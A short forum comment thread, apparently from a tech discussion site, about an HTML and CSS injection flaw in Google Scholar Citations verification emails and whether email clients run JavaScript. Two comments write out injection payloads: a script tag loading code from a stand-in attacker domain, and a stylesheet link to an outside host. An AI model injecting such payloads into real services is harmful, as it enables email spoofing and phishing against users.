3 ms·

I agree on the subject line (which is "Verify your email address") and that the mail is sent from "Google Scholar Citations", but as it was possible to include

I agree on the subject line (which is "Verify your email address") and that the mail is sent from "Google Scholar Citations", but as it was possible to include arbitrary CSS files, the content could be changed to pretty much anything... Although there was a length-restriction on the user's name, there were two other fields that weren't escaped properly and thus could be used to insert more HTML-content.

deleted 13y ago
[deleted]
smtddr 13y ago
>Although there was a length-restriction on the user's name As long as any field allows enough chars to: <script src="http://evilbadpersondomain.com/forTheLulz.js"></script> http://evilbadpersondomain.com/forTheLulz.js"></script> ....anything is possible from there.
- RKearney 13y ago
  There are email clients that execute JavaScript?
  - smtddr 13y ago
    Ah, yeah smartphone and desktop apps don't do js(afaik) - but the web-browser access is still big. If gmail's web interface went down for a day, I think a lot of people would notice.
    - nitrogen 13y ago
      Gmail doesn't run JavaScript in e-mails, though.
      - tictac 13y ago
        I am not sure - when you post enough js-code into a gmail compose "window" it will crash.
        nitrogen 13y ago
        My guess: the WYSIWYG editor uses its own HTML parser and filter, written in JavaScript, that has some O(n^terrible) corner case that your paste test is hitting.
    - mayanksinghal 13y ago
      I don't know of any email clients that execute JS inside mails. I don't think we will see such clients anytime soon.
- tomvangoethem 13y ago
  Make that `<link rel=stylesheet href=http://ø.xx>` http://ø.xx>` as JavaScript won't execute in recent mail clients.